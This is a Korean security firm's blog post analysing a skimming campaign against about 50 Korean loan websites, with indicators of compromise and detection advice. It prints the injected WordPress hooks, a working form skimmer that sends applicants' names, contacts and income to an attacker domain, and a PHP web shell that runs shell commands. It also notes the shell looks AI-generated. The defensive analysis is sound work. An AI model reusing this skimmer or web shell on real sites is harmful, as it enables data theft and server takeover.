무엇을 도와드릴까요?

채널로 문의하기

KakaoTalkLINE

48시간 이내 답변

이메일 보내기 →
블로그
pankeit.com

대출 신청자 데이터가 공격자 서버로 새고 있었다

한국 소비자 대출 사이트 약 50곳의 functions.php에 동일한 세 줄이 삽입돼 있었다. 대출 신청자의 이름, 연락처, 소득, 희망 금액이 제출 시점마다 공격자 서버로 빠져나갔다. 사이트에는 에러 하나 없었다.


삽입 코드

두 가지 변형이 있었다.

// 그룹 A — 공격자 서버 직접 참조
add_action('wp_head', function() {
    echo '<script src="https://ll9sh[.]com/custom.min.js"></script>';
}, 99);

// 그룹 B — 침해된 중간 서버 경유
add_action('wp_head', function() {
    echo '<script src="http://[피해사이트]/wp-content/themes/imedica/js/custom.min.js"></script>';
}, 99);

우선순위 99는 의도적이다. 대부분의 플러그인 훅보다 늦게 실행돼 덮어쓰기 충돌을 피한다.

그룹 B는 공격자 도메인을 드러내지 않는다. 함께 침해한 한국 .co.kr 사이트를 배포 서버로 썼다 — 외부 도메인 차단 규칙 우회용이다. 동일 운영사 50개 사이트 전체에 같은 패턴이 들어가 있었다. 단발 침해가 아니라 계획된 다중 사이트 작전이었다.


스키머 분석

ll9sh[.]com/custom.min.js를 역공학했다.

(function () {
  var endpoint = atob("aHR0cHM6Ly9sbDlzaC5jb20vanMuanM="); // => https://ll9sh[.]com/js.js

  document.addEventListener("submit", function (e) {
    var form = e.target;
    if (!form.classList.contains("crm-form")) return;

    var payload = {
      name:      form.querySelector('[name="name"]').value,
      contact:   form.querySelector('[name="contact"]').value,
      amount:    form.querySelector('[name="amount"]').value,
      income:    form.querySelector('[name="income"]').value,
      loan_type: form.querySelector('[name="loan_type"]').value,
      t: Date.now(),
      u: location.href,
    };

    navigator.sendBeacon(endpoint, JSON.stringify(payload));
  }, true);
}());

주목할 세 가지:

  1. capture: true — 버블링 전 캡처 단계에서 실행된다. 폼 유효성 검사가 돌기 전에 데이터를 가로챈다. 제출이 실패해도 데이터는 나간다.
  2. sendBeacon — 페이지 언로드 후에도 전송을 보장한다. fetch나 XHR이라면 페이지 이동 시 브라우저가 끊을 수 있다.
  3. atob() 엔드포인트 — 텍스트 검색으로 URL이 노출되지 않는다. 기초적이지만 정적 분석 도구 일부를 회피한다.

그리고 crm-form, loan_type, income — 이 운영사 고유의 폼 필드명을 공격자가 정확히 알고 있었다. 사전 정찰이 있었다는 뜻이다.


백도어

스크립트 삽입 외에 wp-includes/class-wp-update.php가 남아 있었다. WordPress 코어에 이 파일은 없다.

<?php
$secretKey = '[REDACTED]';
$headerKey = $_SERVER['HTTP_X_SECRET_KEY'] ?? '';

if (!hash_equals($secretKey, $headerKey)) {
    http_response_code(200);
    exit;
}
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 'off');
ini_set('zlib.output_compression', 'Off');
session_start();

/* ===== 명령 실행 ===== */
if (isset($_POST['cmd']) && $_POST['cmd'] !== '') {
    $cmd = trim($_POST['cmd']);
    $_SESSION['history'][] = $cmd;

    if (preg_match('/^cd\s+(.+)$/i', $cmd, $matches)) {
        $newDir = realpath($_SESSION['cwd'] . DIRECTORY_SEPARATOR . $matches[1]);
        if ($newDir && is_dir($newDir)) {
            $_SESSION['cwd'] = $newDir;
        } else {
            $output = "Directory not found: " . htmlspecialchars($matches[1]);
        }
    } else {
        chdir($_SESSION['cwd']);
        $output = shell_exec($cmd . " 2>&1");
    }
}

// ... (파일 다운로드, 삭제, ZIP 압축·해제 등 추가 기능)

올바른 X-Secret-Key 헤더 없이 접근하면 빈 HTTP 200이 돌아온다. 인증 통과 즉시 set_time_limit(0)ini_set('memory_limit', '-1')을 설정한다 — 장시간 명령 실행을 위한 조치다. cd 명령은 세션 변수로 현재 디렉토리를 추적하는 별도 경로로 처리하고, 파일 업로드·다운로드·삭제·ZIP 압축해제까지 갖춰져 있다.

output_bufferingzlib.output_compression을 끈 것은 셸 출력을 실시간으로 스트리밍하기 위한 조치다. 단순 파일 드롭 도구가 아니라 인터랙티브 셸로 설계됐다는 뜻이다.

AI 생성 여부를 가장 잘 드러내는 것은 UI가 아니라 주석이다. // 원하는 시크릿 키 설정, // 또는 403, 404 등 원하는 코드, // 실행 시간 무제한 — 자신의 코드를 설명하고 선택지를 제안하는 AI의 전형적인 패턴이다. Bootstrap 5 다크 테마, 한국어 섹션 구분자까지 더하면 프롬프트로 뽑아낸 웹셸임이 거의 확실하다.

흔적

네트워크 계층 은닉은 신경 썼다. X-Secret-Key는 HTTP 헤더로 전달되기 때문에 Apache/nginx 기본 액세스 로그에 남지 않는다. 인증 실패 시 HTTP 200을 반환하는 것도 의도적이다 — 403/404를 기준으로 탐지하는 WAF 시그니처를 피한다.

호스트 계층은 다르다. session_start() 직후 $_SESSION['history'][] = $cmd로 실행한 모든 명령어를 세션 파일에 쌓는다. /tmp/sess_* 또는 /var/lib/php/sessions/ 아래 파일이 삭제되지 않았다면 공격자의 명령 이력이 그대로 남는다. 파일 타임스탬프 조작도 없다. wp-includes/ 내 다른 파일과 mtime을 비교하면 심어진 시점이 드러난다.

AI가 제안하는 스텔스 패턴(헤더 인증, 200 응답)은 적용했지만, 숙련된 운영자라면 당연히 챙겼을 호스트 포렌식 대응은 빠져 있다.


침해지표 (IoC)

  1. 악성 도메인: ll9sh[.]com
  2. C2 IP: 172.67.133.240, 104.21.5.227 (Cloudflare CDN 뒤)
  3. 백도어 파일: wp-includes/class-wp-update.php
  4. 네트워크 지표: 접근 로그에서 X-Secret-Key HTTP 헤더가 포함된 요청
  5. 악성 스크립트: https://ll9sh[.]com/custom.min.js, https://ll9sh[.]com/js.js
  6. 배포 경로 패턴: imedica 테마 사이트에서 /wp-content/themes/imedica/js/custom.min.jssubmit 이벤트 리스너 또는 sendBeacon 호출이 포함된 경우

탐지

  1. functions.php에서 add_action('wp_head'를 검색하라. 외부 URL을 echo하는 콜백이 있으면 즉시 확인하라.
  2. wp verify-checksums를 실행하라. wp-includes/에 추가된 파일을 바로 잡는다.
  3. functions.php 권한을 444로 제한하라. RCE를 얻어도 추가 권한 없이는 수정 불가하다.
  4. CSP script-src를 설정하라. 주입에 성공해도 브라우저 실행을 차단한다.
  5. <script src> 도메인을 주기적으로 파싱하고 허용 목록 외 도메인 출현 시 알림을 설정하라. 이 사건은 첫 번째 페이지 요청에서 탐지될 수 있었다.

세 줄의 PHP로 신청자 데이터 전량이 빠져나갔다. 정교한 공격이 아니다. 그리고 그게 더 불편하다.

귀사의 공격 표면이 걱정되시나요?

귀사의 인프라가 공격자의 스코어링 모델에서 어떻게 평가되는지 알고 싶다면 contact@pankeit.com으로 문의해 주세요. 동일한 지문채취 및 스코어링 프로세스를 실행하고 우선순위가 매겨진 개선 목록을 제공합니다.

©2026 Panke IT Solutions LLC

Austin, TX